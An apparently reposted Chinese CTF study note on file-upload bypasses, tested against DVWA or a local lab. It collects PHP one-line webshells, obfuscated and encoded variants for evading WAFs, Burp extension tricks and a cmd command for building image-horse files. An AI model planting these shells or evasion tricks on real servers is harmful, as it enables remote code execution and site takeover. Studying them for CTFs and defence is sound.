当前位置:   article > 正文

CTF 总结01:文件上传绕过_上传图片马如何连接蚁剑

上传图片马如何连接蚁剑

问题描述

(⌐■_■)在做图片马上传的题目,发现自己折腾很久,终于成功达到了抽刀断水、南辕北辙的效果~距离正确的WP仅有一部西游记那么长——

没关系,菜鸟做题就是这样屡败屡战~失败是成功的山顶洞人,也只能这么安慰自己辽~

但是,在解题过程中发现了其他的上传绕过思路,在这里梳理一下,说不定以后能用得到~本次是第二版啦,还会根据做题经验增补的~

祭出图片:白龙马镇文~保佑我的CTF图片马题目可以顺利通过,阿弥陀佛~

(●'◡'●)施法结束,正文开始~


思路分析:

文件上传解题思路就很传统:举起菜刀、蚁剑、冰蝎、哥斯拉往页面的脸上砸过去就行了~

本篇想测试的内容仅有两条:

1.穿新马甲的一句话木马连接蚁剑;

2.骑图片马的一句话木马连接蚁剑。


解决方案:

工具:蚁剑、Burpsuite

靶场:DVWA在线 Vulnerability: File Upload  或者 用虚拟机+phpstudy当作靶场~

————————————————————————

0 前言

参考1:ctf.show_墨子轩、的博客-CSDN博客_蚁剑返回数据为空

参考2:蚁剑连接不上远程shell的解决办法_大河下。的博客-CSDN博客

测试过程中,蚁剑连接补上的可能原因如下~

①如果返回一长串红色框报错,那就是连接地址写错了

②如果返回地址为空的黄色框报错,那就是写错文件或者包在上传过程中被WAF改掉或是拦截了;

可以试试BurpSuite抓包分析一下上传前后的内容是否有变化~如果上传内容没有被改掉、防火墙也没有问题,那就再仔细检查一下代码的内容吧~

————————————————————————

1 朴实无华的一句话木马

<?php @eval($_POST['a']);?>

这个在没有防火墙盯着的情况下必然成功,但是...哪个不正经的网站会没有防火墙呢,做贼还是要讲一点技术含量的~

2 穿上马甲的一句话木马

查阅资料,以下是一些市面上常见的马甲款式——

————————————————————————————————

WEBSHELL免杀绕过WAF思路&方法(一) - 知乎 (zhihu.com)

php一句话木马变形技巧_bylfsj的博客-CSDN博客_一句话木马phpinfo

↑这两篇博文主要是替换与拼接函数绕过,均有代码段~其中第一篇对于原理的介绍多一些~

————————————————————————————————

一句话木马绕过检测的常见思路_si1ence_whitehat的博客-CSDN博客_一句话木马绕过

↑这一篇博文里有编码绕过的代码段,最后用主流的杀毒软件测试了一下效果~

————————————————————————————————

(1)php短标签,绕过<?php ?>的过滤

php中最常见的标签为<?php ?>,不过在题目上传时这种可能会被过滤掉。根据查询结果,还有三种php的标签,分别是:

①<? ?> 需要配置short_open_tag,适合执行php语句; <?= ?>或许不需要配置,或许可以不闭合(就是只写<?=,不写?>),适合输出变量;

②<% %> 需要配置asp_tags,涉及到IIS6.0的解析漏洞;

③<script language="php"></script>  php7及之后就已经不支持的写法~

参考博文:php中的短标签 太坑人了 - dongguol - 博客园 (cnblogs.com)
————————————————

我们下面分别测试一下这三种情况~

①<? ?>连接成功~<?连接成功~<?= ?>连接成功~<?= 连接成功~各版本均支持~

  1. <? @eval($_POST['a']);?>
  2. <?= @eval($_POST['a']);?>
  3. <? @eval($_POST['a']);
  4. <?= @eval($_POST['a']);

②<% %>连接失败~可能是因为我在用默认配置,没有配置asp_tags;

<% @eval($_POST['a']);%>

   <% %>涉及到IIS6.0解析漏洞的部分,可参考:墨者学院06 内部文件上传系统漏洞分析溯源 

③尝试连接以前一定要注意版本:从PHP7开始,这种写法<script language="php"></script>就已经不支持了哦~Php怎么不支持〈script language=“php”〉?_百度知道 (baidu.com)

<script language="php">@eval_r($_POST['a']);</script>

网站版本正好是php7,因此失败了;于是我在虚拟机上调为php5的版本尝试连接,发现也是失败的...

 (2)更换函数,企图寻找一种没被写进黑名单的函数

<?php assert(@$_POST['a']); ?>

这个我使用蚁剑连接失败了...切换php5版本、php7版本都是失败的...

php官方手册中关于assert的用法:如果 assertion 是字符串,它将会被 assert() 当做 PHP 代码来执行~PHP: assert - Manual,注意参数assertion一栏的注解——

——————

  1. <?php
  2. $fun = create_function('',$_POST['a']);
  3. $fun();
  4. ?>

如果替换的函数使用create_function,此函数在内部执行 eval()这个是成功的!但也要注意版本,8.0.0以后就不会成功了(7.2.0~8.0.0中间的版本可以执行)~PHP: create_function - Manual

  1. <?php
  2. @call_user_func(assert,$_POST['a']);
  3. ?>

emm...call_user_func是调用回调函数,每当我看到他的说明就会很绕...简而言之这个与assert(@$_POST['a']);效果是相近的 ,实际连接也是失败的~顺便一提,把assert改成eval以后,也没有成功~

  1. <?php
  2. $a=get_define_functions();
  3. $a['internal'][841]($_REQUEST['a']);
  4. ?>
  5. //:$a['internal'][841]表示的是assert

 至于这个异曲同工,连接也是失败的~

  1. <?php
  2. $a='assert';
  3. array_map("$a",$_REQUEST);
  4. ?>

 这个是用数组的方式为每个元素回调函数,效果与call_user_func也是类似的~连接是失败的~改成eval以后也是失败的~

——————

  1. <?php
  2. @preg_replace("/abcde/e", $_POST['a'], "abcdefg");
  3. ?>

preg_replace是执行一个正则表达式的搜索和替换,在参数$replacement中存在eval执行作用。这个在php5中执行成功了~但是在php7中提示为空、在php8中提示错误~

  1. <?php
  2. $a=str_replace("Waldo", "", "eWaldoval");
  3. $a(@$_POST['a']);
  4. ?>

 但是类似的写法,这样子连接是失败的,因为用到了变量作为执行函数~

 ——————

  1. <?php
  2. $str="a=eval";
  3. parse_str($str);
  4. $a($_POST['1']);
  5. ?>

parse_str — 将字符串解析成多个变量,以下是官方手册,看来在php8以后也不太好用了~不过在php5、php7中我这里也没有连接成功~PHP: parse_str - Manual

 (3)字符组合+变量函数,绕过执行函数的简单过滤; 

  1. <?php
  2. $a = "eval";
  3. $a(@$_POST['a']);
  4. ?>

 以变量作为函数,这个连接失败了~看来用可变变量绕过的方法现在不太香了...

  1. <?php
  2. $a="e"."v";
  3. $b="a"."l";
  4. $c=$a.$b;
  5. @$c($_POST['1']);
  6. ?>

“.”在php种属于并置运算,可以连接两个字符串,“{}”也可以实现相同的功能,详PHP: 字符串运算符 - Manual~

我可以理解这个代码的逻辑,但是连接失败了~无论$c前是否有@,都失败了~

  1. <?php
  2. $item['JON']='assert';
  3. $array[]=$item;
  4. $array[0]['JON']($_POST["TEST"]);
  5. ?>

 这个是用数组的方式组合,我这边同样也连接失败了~

 (4)字符编码与混淆绕过试一试...

  1. <?php
  2. $a=base64_decode("ZXZhbA==")
  3. $a($_POST['a']);
  4. ?>

 这个代码里因为用到了可变变量替换方式,所以同样失败了~

<?php array_map("as\x73ert",(array)$_REQUEST['1'];?>

这个代码里因为用到了数组回调的替换方式,所以同样失败了~ 

<?$_uU=chr(99).chr(104).chr(114);$_cC=$_uU(101).$_uU(118).$_uU(97).$_uU(108).$_uU(40).$_uU(36).$_uU(95).$_uU(80).$_uU(79).$_uU(83).$_uU(84).$_uU(91).$_uU(49).$_uU(93).$_uU(41).$_uU(59);$_fF=$_uU(99).$_uU(114).$_uU(101).$_uU(97).$_uU(116).$_uU(101).$_uU(95).$_uU(102).$_uU(117).$_uU(110).$_uU(99).$_uU(116).$_uU(105).$_uU(111).$_uU(110);$_=$_fF("",$_cC);@$_();?> 

这个鬼画符一样的ascii转码版本成功了,连接的密码是1,在php5、php7版本中可用,在php8的版本中会报错~

———————————————————————————————————————————

3 骑图片马的一句话木马

嗯...讲真这么测一圈能活到php8的绕过代码,好像就寥寥无几了~

我...的一位朋友,表面在为代码安全的进步高兴,内心实际已经开始感到焦虑了(?)

但值得开心的是有几个幸存者可以基于php5和php7运行的,所以我们再测试一下这些代码结合图片上传效果是怎么样的~

 (1)前端代码仅检查文件扩展名

有时ctrl+u查看源码,可以看到前端使用Javascript写成的小小WAF,拦截.php格式文件的上传~

这种情况下,把一句话木马的文件名扩展从.php变为.jpg .png等格式上传~ 

开启burp suite手动将包的后缀改为.php后放行,再用蚁剑链接即可~

 (2)cmd命令拼接图片马

制作php图片马的方法可以参考这两篇(iInk大佬的博客封面好看,实名羡慕~):做一个图片马的四种方法(详细步骤) - 1ink - 博客园 (cnblogs.com)

免杀图片马制作详细教程 - 知乎 (zhihu.com)

我们用主流的cmd方法制作就好啦,这里我把原图片命名为0.jpg,一句话木马命名为0.php,合成命名为easyupload0.jpg,在当前文件夹的地址栏中直接输入cmd~

 然后把这句话直接粘在后面~

copy 0.jpg/b + 0.php/a easyupload0.jpg // /b表示二进制,/a表示ascii码

生成一个崭新的jpg文件,因为懒得开启bp,就直接把后缀改成php连接了,发现....连接失败了...

用text打开以后发现最末端的一句话木马时没有尖括号的...

我又从网上下载了一匹崭新的卡通马

声明:本文内容由网友自发贡献,不代表【wpsshop博客】立场,版权归原作者所有,本站不承担相应法律责任。如您发现有侵权的内容,请联系我们。转载请注明出处:https://www.wpsshop.cn/w/2023面试高手/article/detail/560260
推荐阅读
相关标签